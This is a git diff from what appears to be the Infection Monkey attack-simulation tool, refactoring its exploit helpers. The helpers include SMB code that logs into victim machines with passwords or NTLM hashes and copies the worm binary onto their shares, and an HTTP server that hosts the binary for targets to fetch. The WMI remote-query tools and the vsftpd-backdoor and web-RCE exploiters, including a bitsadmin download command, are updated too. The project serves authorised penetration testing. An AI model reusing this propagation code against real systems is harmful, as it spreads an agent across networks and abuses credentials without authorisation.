- dce = SmbTools.get_dce_bind(smb)
- rpc_method_wrapper = getattr(srvs, rpc_func, None)
- if not rpc_method_wrapper:
- raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
-
- return rpc_method_wrapper(dce, *args)
-
- @staticmethod
- def get_dce_bind(smb):
- rpctransport = transport.SMBTransport(smb.getRemoteHost(),
- smb.getRemoteHost(),
- filename=r'\srvsvc',
- smb_connection=smb)
- dce = rpctransport.get_dce_rpc()
- dce.connect()
- dce.bind(srvs.MSRPC_UUID_SRVS)
-
- return dce
-
-
-class HTTPTools(object):
- @staticmethod
- def create_transfer(host, src_path, local_ip=None, local_port=None):
- if not local_port:
- local_port = get_free_tcp_port()
-
- if not local_ip:
- local_ip = get_interface_to_target(host.ip_addr)
-
- if not firewall.listen_allowed():
- return None, None
-
- httpd = HTTPServer(local_ip, local_port, src_path)
- httpd.daemon = True
- httpd.start()
-
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
-
- @staticmethod
- def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
- """
- Create http server for file transfer with a lock
- :param host: Variable with target's information
- :param src_path: Monkey's path on current system
- :param local_ip: IP where to host server
- :param local_port: Port at which to host monkey's download
- :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
- """
- # To avoid race conditions we pass a locked lock to http servers thread
- lock = Lock()
- lock.acquire()
- if not local_port:
- local_port = get_free_tcp_port()
-
- if not local_ip:
- local_ip = get_interface_to_target(host.ip_addr)
-
- if not firewall.listen_allowed():
- LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
- return None, None
-
- httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
- httpd.start()
- lock.acquire()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
-
-
-def get_interface_to_target(dst):
- if sys.platform == "win32":
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- try:
- s.connect((dst, 1))
- ip_to_dst = s.getsockname()[0]
- except KeyError:
- ip_to_dst = '127.0.0.1'
- finally:
- s.close()
- return ip_to_dst
- else:
- # based on scapy implementation
-
- def atol(x):
- ip = socket.inet_aton(x)
- return struct.unpack("!I", ip)[0]
-
- routes = get_routes()
- dst = atol(dst)
- paths = []
- for d, m, gw, i, a in routes:
- aa = atol(a)
- if aa == dst:
- paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
- if (dst & m) == (d & m):
- paths.append((m, (i, a, gw)))
- if not paths:
- return None
- paths.sort()
- ret = paths[-1][1]
- return ret[1]
-
-
-def get_target_monkey(host):
- from infection_monkey.control import ControlClient
- import platform
- import sys
-
- if host.monkey_exe:
- return host.monkey_exe
-
- if not host.os.get('type'):
- return None
-
- monkey_path = ControlClient.download_monkey_exe(host)
-
- if host.os.get('machine') and monkey_path:
- host.monkey_exe = monkey_path
-
- if not monkey_path:
- if host.os.get('type') == platform.system().lower():
- # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
- if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
- host.os.get('machine', '').lower() == platform.machine().lower():
- monkey_path = sys.executable
-
- return monkey_path
-
-
-def get_target_monkey_by_os(is_windows, is_32bit):
- from infection_monkey.control import ControlClient
- return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
-
-
-def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
- cmdline = ""
-
- if parent is not None:
- cmdline += " -p " + parent
- if tunnel is not None:
- cmdline += " -t " + tunnel
- if server is not None:
- cmdline += " -s " + server
- if depth is not None:
- if depth < 0:
- depth = 0
- cmdline += " -d %d" % depth
- if location is not None:
- cmdline += " -l %s" % location
-
- return cmdline
-
-
-def build_monkey_commandline(target_host, depth, location=None):
- from infection_monkey.config import GUID
- return build_monkey_commandline_explicitly(
- GUID, target_host.default_tunnel, target_host.default_server, depth, location)
-
-
-def get_monkey_depth():
- from infection_monkey.config import WormConfiguration
- return WormConfiguration.depth
-
-
-def get_monkey_dest_path(url_to_monkey):
- """
- Gets destination path from monkey's source url.
- :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
- :return: Corresponding monkey path from configuration
- """
- from infection_monkey.config import WormConfiguration
- if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
- LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
- return False
- try:
- if 'linux' in url_to_monkey:
- return WormConfiguration.dropper_target_path_linux
- elif 'windows-32' in url_to_monkey:
- return WormConfiguration.dropper_target_path_win_32
- elif 'windows-64' in url_to_monkey:
- return WormConfiguration.dropper_target_path_win_64
- else:
- LOG.error("Could not figure out what type of monkey server was trying to upload, "
- "thus destination path can not be chosen.")
- return False
- except AttributeError:
- LOG.error("Seems like monkey's source configuration property names changed. "
- "Can not get destination path to upload monkey")
- return False
diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py
new file mode 100644
index 000000000..eabe8d9d7
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/exceptions.py
@@ -0,0 +1,5 @@
+
+
+class ExploitingVulnerableMachineError(Exception):
+ """ Raise when exploiter failed, but machine is vulnerable"""
+ pass
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
new file mode 100644
index 000000000..91a25c270
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -0,0 +1,142 @@
+import logging
+import socket
+import struct
+import sys
+
+from infection_monkey.network.info import get_routes
+
+LOG = logging.getLogger(__name__)
+
+
+def get_interface_to_target(dst):
+ """
+ :param dst: destination IP address string without port. E.G. '192.168.1.1.'
+ :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
+ """
+ if sys.platform == "win32":
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ try:
+ s.connect((dst, 1))
+ ip_to_dst = s.getsockname()[0]
+ except KeyError:
+ LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
+ ip_to_dst = '127.0.0.1'
+ finally:
+ s.close()
+ return ip_to_dst
+ else:
+ # based on scapy implementation
+
+ def atol(x):
+ ip = socket.inet_aton(x)
+ return struct.unpack("!I", ip)[0]
+
+ routes = get_routes()
+ dst = atol(dst)
+ paths = []
+ for d, m, gw, i, a in routes:
+ aa = atol(a)
+ if aa == dst:
+ paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
+ if (dst & m) == (d & m):
+ paths.append((m, (i, a, gw)))
+ if not paths:
+ return None
+ paths.sort()
+ ret = paths[-1][1]
+ return ret[1]
+
+
+def try_get_target_monkey(host):
+ src_path = get_target_monkey(host)
+ if not src_path:
+ raise Exception("Can't find suitable monkey executable for host %r", host)
+ return src_path
+
+
+def get_target_monkey(host):
+ from infection_monkey.control import ControlClient
+ import platform
+ import sys
+
+ if host.monkey_exe:
+ return host.monkey_exe
+
+ if not host.os.get('type'):
+ return None
+
+ monkey_path = ControlClient.download_monkey_exe(host)
+
+ if host.os.get('machine') and monkey_path:
+ host.monkey_exe = monkey_path
+
+ if not monkey_path:
+ if host.os.get('type') == platform.system().lower():
+ # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
+ if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
+ host.os.get('machine', '').lower() == platform.machine().lower():
+ monkey_path = sys.executable
+
+ return monkey_path
+
+
+def get_target_monkey_by_os(is_windows, is_32bit):
+ from infection_monkey.control import ControlClient
+ return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
+
+
+def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
+ cmdline = ""
+
+ if parent is not None:
+ cmdline += " -p " + parent
+ if tunnel is not None:
+ cmdline += " -t " + tunnel
+ if server is not None:
+ cmdline += " -s " + server
+ if depth is not None:
+ if depth < 0:
+ depth = 0
+ cmdline += " -d %d" % depth
+ if location is not None:
+ cmdline += " -l %s" % location
+
+ return cmdline
+
+
+def build_monkey_commandline(target_host, depth, location=None):
+ from infection_monkey.config import GUID
+ return build_monkey_commandline_explicitly(
+ GUID, target_host.default_tunnel, target_host.default_server, depth, location)
+
+
+def get_monkey_depth():
+ from infection_monkey.config import WormConfiguration
+ return WormConfiguration.depth
+
+
+def get_monkey_dest_path(url_to_monkey):
+ """
+ Gets destination path from monkey's source url.
+ :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+ :return: Corresponding monkey path from configuration
+ """
+ from infection_monkey.config import WormConfiguration
+ if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+ LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+ return False
+ try:
+ if 'linux' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_linux
+ elif 'windows-32' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_win_32
+ elif 'windows-64' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_win_64
+ else:
+ LOG.error("Could not figure out what type of monkey server was trying to upload, "
+ "thus destination path can not be chosen.")
+ return False
+ except AttributeError:
+ LOG.error("Seems like monkey's source configuration property names changed. "
+ "Can not get destination path to upload monkey")
+ return False
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
new file mode 100644
index 000000000..19b45b043
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -0,0 +1,90 @@
+import logging
+import os
+import os.path
+import urllib
+from threading import Lock
+
+from infection_monkey.network.firewall import app as firewall
+from infection_monkey.network.info import get_free_tcp_port
+from infection_monkey.transport import HTTPServer, LockedHTTPServer
+from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
+from infection_monkey.model import DOWNLOAD_TIMEOUT
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class HTTPTools(object):
+
+ @staticmethod
+ def create_transfer(host, src_path, local_ip=None, local_port=None):
+ if not local_port:
+ local_port = get_free_tcp_port()
+
+ if not local_ip:
+ local_ip = get_interface_to_target(host.ip_addr)
+
+ if not firewall.listen_allowed():
+ return None, None
+
+ httpd = HTTPServer(local_ip, local_port, src_path)
+ httpd.daemon = True
+ httpd.start()
+
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+ @staticmethod
+ def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+ http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
+ if not http_path:
+ raise Exception("Http transfer creation failed.")
+ LOG.info("Started http server on %s", http_path)
+ return http_path, http_thread
+
+ @staticmethod
+ def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+ """
+ Create http server for file transfer with a lock
+ :param host: Variable with target's information
+ :param src_path: Monkey's path on current system
+ :param local_ip: IP where to host server
+ :param local_port: Port at which to host monkey's download
+ :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
+ """
+ # To avoid race conditions we pass a locked lock to http servers thread
+ lock = Lock()
+ lock.acquire()
+ if not local_port:
+ local_port = get_free_tcp_port()
+
+ if not local_ip:
+ local_ip = get_interface_to_target(host.ip_addr)
+
+ if not firewall.listen_allowed():
+ LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
+ return None, None
+
+ httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
+ httpd.start()
+ lock.acquire()
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+
+class MonkeyHTTPServer(HTTPTools):
+ def __init__(self, host):
+ super(MonkeyHTTPServer, self).__init__()
+ self.http_path = None
+ self.http_thread = None
+ self.host = host
+
+ def start(self):
+ # Get monkey exe for host and it's path
+ src_path = try_get_target_monkey(self.host)
+ self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
+
+ def stop(self):
+ if not self.http_path or not self.http_thread:
+ raise RuntimeError("Can't stop http server that wasn't started!")
+ self.http_thread.join(DOWNLOAD_TIMEOUT)
+ self.http_thread.stop()
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
new file mode 100644
index 000000000..31632b045
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -0,0 +1,63 @@
+import logging
+import textwrap
+
+LOG = logging.getLogger(__name__)
+
+
+class Payload(object):
+ """
+ Class for defining and parsing a payload (commands with prefixes/suffixes)
+ """
+
+ def __init__(self, command, prefix="", suffix=""):
+ self.command = command
+ self.prefix = prefix
+ self.suffix = suffix
+
+ def get_payload(self, command=""):
+ """
+ Returns prefixed and suffixed command (payload)
+ :param command: Command to suffix/prefix. If no command is passed than objects' property is used
+ :return: prefixed and suffixed command (full payload)
+ """
+ if not command:
+ command = self.command
+ return "{}{}{}".format(self.prefix, command, self.suffix)
+
+
+class LimitedSizePayload(Payload):
+ """
+ Class for defining and parsing commands/payloads
+ """
+
+ def __init__(self, command, max_length, prefix="", suffix=""):
+ """
+ :param command: command
+ :param max_length: max length that payload(prefix + command + suffix) can have
+ :param prefix: commands prefix
+ :param suffix: commands suffix
+ """
+ super(LimitedSizePayload, self).__init__(command, prefix, suffix)
+ self.max_length = max_length
+
+ def is_suffix_and_prefix_too_long(self):
+ return self.payload_is_too_long(self.suffix + self.prefix)
+
+ def split_into_array_of_smaller_payloads(self):
+ if self.is_suffix_and_prefix_too_long():
+ raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
+ "exceeds required length of command.")
+
+ elif self.command == "":
+ return [self.prefix+self.suffix]
+ wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
+ commands = [self.get_payload(part)
+ for part
+ in wrapper.wrap(self.command)]
+ return commands
+
+ def get_max_sub_payload_length(self):
+ return self.max_length - len(self.prefix) - len(self.suffix)
+
+ def payload_is_too_long(self, command):
+ return len(command) >= self.max_length
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
new file mode 100644
index 000000000..af682dbff
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
@@ -0,0 +1,32 @@
+from unittest import TestCase
+from payload_parsing import Payload, LimitedSizePayload
+
+
+class TestPayload(TestCase):
+ def test_get_payload(self):
+ test_str1 = "abc"
+ test_str2 = "atc"
+ payload = Payload(command="b", prefix="a", suffix="c")
+ assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
+
+ def test_is_suffix_and_prefix_too_long(self):
+ pld_fail = LimitedSizePayload("b", 2, "a", "c")
+ pld_success = LimitedSizePayload("b", 3, "a", "c")
+ assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
+
+ def test_split_into_array_of_smaller_payloads(self):
+ test_str1 = "123456789"
+ pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
+ array1 = pld1.split_into_array_of_smaller_payloads()
+ test1 = bool(array1[0] == "prefix1234suffix" and
+ array1[1] == "prefix5678suffix" and
+ array1[2] == "prefix9suffix")
+
+ test_str2 = "12345678"
+ pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
+ array2 = pld2.split_into_array_of_smaller_payloads()
+ test2 = bool(array2[0] == "prefix1234suffix" and
+ array2[1] == "prefix5678suffix" and len(array2) == 2)
+
+ assert test1 and test2
+
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
new file mode 100644
index 000000000..6ca0b63ad
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -0,0 +1,223 @@
+import logging
+import ntpath
+import pprint
+
+from impacket.dcerpc.v5 import transport, srvs
+from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
+from impacket.smbconnection import SMBConnection, SMB_DIALECT
+
+import infection_monkey.config
+import infection_monkey.monkeyfs as monkeyfs
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class SmbTools(object):
+
+ @staticmethod
+ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
+ assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
+ config = infection_monkey.config.WormConfiguration
+ src_file_size = monkeyfs.getsize(src_path)
+
+ smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+ if not smb:
+ return None
+
+ # skip guest users
+ if smb.isGuestSession() > 0:
+ LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
+ " LM hash: %s, NTLM hash: %s",
+ host, username, password, lm_hash, ntlm_hash)
+
+ try:
+ smb.logoff()
+ except:
+ pass
+
+ return None
+
+ try:
+ resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
+ except Exception as exc:
+ LOG.debug("Error requesting server info from %r over SMB: %s",
+ host, exc)
+ return None
+
+ info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
+ 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
+ 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
+ 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
+ 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
+ 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
+
+ LOG.debug("Connected to %r using %s:\n%s",
+ host, dialect, pprint.pformat(info))
+
+ try:
+ resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
+ except Exception as exc:
+ LOG.debug("Error enumerating server shares from %r over SMB: %s",
+ host, exc)
+ return None
+
+ resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
+
+ high_priority_shares = ()
+ low_priority_shares = ()
+ file_name = ntpath.split(dst_path)[-1]
+
+ for i in range(len(resp)):
+ share_name = resp[i]['shi2_netname'].strip("\0 ")
+ share_path = resp[i]['shi2_path'].strip("\0 ")
+ current_uses = resp[i]['shi2_current_uses']
+ max_uses = resp[i]['shi2_max_uses']
+
+ if current_uses >= max_uses:
+ LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
+ share_name, host)
+ continue
+ elif not share_path:
+ LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
+ share_name, host)
+ continue
+
+ share_info = {'share_name': share_name,
+ 'share_path': share_path}
+
+ if dst_path.lower().startswith(share_path.lower()):
+ high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
+
+ low_priority_shares += ((ntpath.sep + file_name, share_info),)
+
+ shares = high_priority_shares + low_priority_shares
+
+ file_uploaded = False
+ for remote_path, share in shares:
+ share_name = share['share_name']
+ share_path = share['share_path']
+
+ if not smb:
+ smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+ if not smb:
+ return None
+
+ try:
+ tid = smb.connectTree(share_name)
+ except Exception as exc:
+ LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
+ share_name, host, exc)
+ continue
+
+ LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
+ share_name, share_path, remote_path, host.ip_addr[0], )
+
+ remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
+
+ # check if file is found on destination
+ if config.skip_exploit_if_file_exist:
+ try:
+ file_info = smb.listPath(share_name, remote_path)
+ if file_info:
+ if src_file_size == file_info[0].get_filesize():
+ LOG.debug("Remote monkey file is same as source, skipping copy")
+ return remote_full_path
+
+ LOG.debug("Remote monkey file is found but different, moving along with attack")
+ except:
+ pass # file isn't found on remote victim, moving on
+
+ try:
+ with monkeyfs.open(src_path, 'rb') as source_file:
+ # make sure of the timeout
+ smb.setTimeout(timeout)
+ smb.putFile(share_name, remote_path, source_file.read)
+
+ file_uploaded = True
+ T1105Telem(ScanStatus.USED,
+ get_interface_to_target(host.ip_addr),
+ host.ip_addr,
+ dst_path).send()
+ LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
+ src_path, share_name, share_path, host)
+
+ break
+ except Exception as exc:
+ LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
+ share_name, host, exc)
+ T1105Telem(ScanStatus.SCANNED,
+ get_interface_to_target(host.ip_addr),
+ host.ip_addr,
+ dst_path).send()
+ continue
+ finally:
+ try:
+ smb.logoff()
+ except:
+ pass
+
+ smb = None
+
+ if not file_uploaded:
+ LOG.debug("Couldn't find a writable share for exploiting"
+ " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
+ host, username, password, lm_hash, ntlm_hash)
+ return None
+
+ return remote_full_path
+
+ @staticmethod
+ def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
+ try:
+ smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
+ except Exception as exc:
+ LOG.debug("SMB connection to %r on port 445 failed,"
+ " trying port 139 (%s)", host, exc)
+
+ try:
+ smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
+ except Exception as exc:
+ LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
+ host, exc)
+ return None, None
+
+ dialect = {SMB_DIALECT: "SMBv1",
+ SMB2_DIALECT_002: "SMBv2.0",
+ SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
+
+ # we know this should work because the WMI connection worked
+ try:
+ smb.login(username, password, '', lm_hash, ntlm_hash)
+ except Exception as exc:
+ LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
+ host, username, password, lm_hash, ntlm_hash, exc)
+ return None, dialect
+
+ smb.setTimeout(timeout)
+ return smb, dialect
+
+ @staticmethod
+ def execute_rpc_call(smb, rpc_func, *args):
+ dce = SmbTools.get_dce_bind(smb)
+ rpc_method_wrapper = getattr(srvs, rpc_func, None)
+ if not rpc_method_wrapper:
+ raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
+
+ return rpc_method_wrapper(dce, *args)
+
+ @staticmethod
+ def get_dce_bind(smb):
+ rpctransport = transport.SMBTransport(smb.getRemoteHost(),
+ smb.getRemoteHost(),
+ filename=r'\srvsvc',
+ smb_connection=smb)
+ dce = rpctransport.get_dce_rpc()
+ dce.connect()
+ dce.bind(srvs.MSRPC_UUID_SRVS)
+
+ return dce
diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py
new file mode 100644
index 000000000..abbb9f936
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py
@@ -0,0 +1,150 @@
+import logging
+
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+from impacket.dcerpc.v5.dtypes import NULL
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class DceRpcException(Exception):
+ pass
+
+
+class AccessDeniedException(Exception):
+ def __init__(self, host, username, password, domain):
+ super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
+ (host, domain, username, password))
+
+
+class WmiTools(object):
+ class WmiConnection(object):
+ def __init__(self):
+ self._dcom = None
+ self._iWbemServices = None
+
+ @property
+ def connected(self):
+ return self._dcom is not None
+
+ def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
+ if not domain:
+ domain = host.ip_addr
+
+ dcom = DCOMConnection(host.ip_addr,
+ username=username,
+ password=password,
+ domain=domain,
+ lmhash=lmhash,
+ nthash=nthash,
+ oxidResolver=True)
+
+ try:
+ iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
+ wmi.IID_IWbemLevel1Login)
+ except Exception as exc:
+ dcom.disconnect()
+
+ if "rpc_s_access_denied" == exc.message:
+ raise AccessDeniedException(host, username, password, domain)
+
+ raise
+
+ iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+
+ try:
+ self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
+ self._dcom = dcom
+ except:
+ dcom.disconnect()
+
+ raise
+ finally:
+ iWbemLevel1Login.RemRelease()
+
+ def close(self):
+ assert self.connected, "WmiConnection isn't connected"
+
+ self._iWbemServices.RemRelease()
+ self._iWbemServices = None
+
+ self._dcom.disconnect()
+ self._dcom = None
+
+ @staticmethod
+ def dcom_wrap(func):
+ def _wrapper(*args, **kwarg):
+ try:
+ return func(*args, **kwarg)
+ finally:
+ WmiTools.dcom_cleanup()
+
+ return _wrapper
+
+ @staticmethod
+ def dcom_cleanup():
+ for port_map in DCOMConnection.PORTMAPS.keys():
+ del DCOMConnection.PORTMAPS[port_map]
+ for oid_set in DCOMConnection.OID_SET.keys():
+ del DCOMConnection.OID_SET[port_map]
+
+ DCOMConnection.OID_SET = {}
+ DCOMConnection.PORTMAPS = {}
+ if DCOMConnection.PINGTIMER:
+ DCOMConnection.PINGTIMER.cancel()
+ DCOMConnection.PINGTIMER.join()
+ DCOMConnection.PINGTIMER = None
+
+ @staticmethod
+ def get_object(wmi_connection, object_name):
+ assert isinstance(wmi_connection, WmiTools.WmiConnection)
+ assert wmi_connection.connected, "WmiConnection isn't connected"
+
+ return wmi_connection._iWbemServices.GetObject(object_name)[0]
+
+ @staticmethod
+ def list_object(wmi_connection, object_name, fields=None, where=None):
+ assert isinstance(wmi_connection, WmiTools.WmiConnection)
+ assert wmi_connection.connected, "WmiConnection isn't connected"
+
+ if fields:
+ fields_query = ",".join(fields)
+ else:
+ fields_query = "*"
+
+ wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
+
+ if where:
+ wql_query += " WHERE %s" % (where,)
+
+ LOG.debug("Execution WQL query: %r", wql_query)
+
+ iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
+
+ query = []
+ try:
+ while True:
+ try:
+ next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
+ record = next_item.getProperties()
+
+ if not fields:
+ fields = record.keys()
+
+ query_record = {}
+ for key in fields:
+ query_record[key] = record[key]['value']
+
+ query.append(query_record)
+ except DCERPCSessionError as exc:
+ if 1 == exc.error_code:
+ break
+
+ raise
+ finally:
+ iEnumWbemClassObject.RemRelease()
+
+ return query
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 498c09eea..744853bdf 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -6,12 +6,16 @@
import socket
import time
+
+from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import build_monkey_commandline
-from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from logging import getLogger
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
+
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
@@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter):
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
+ T1222Telem(ScanStatus.USED, change_permission, self.host).send()
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 56aa77442..1b5b9d75b 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -5,10 +5,12 @@ from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
-from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'VakarisZ'
@@ -307,7 +309,7 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
- backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+ backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp
@@ -366,8 +368,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
+ T1222Telem(ScanStatus.USED, command, self.host).send()
except Exception as e:
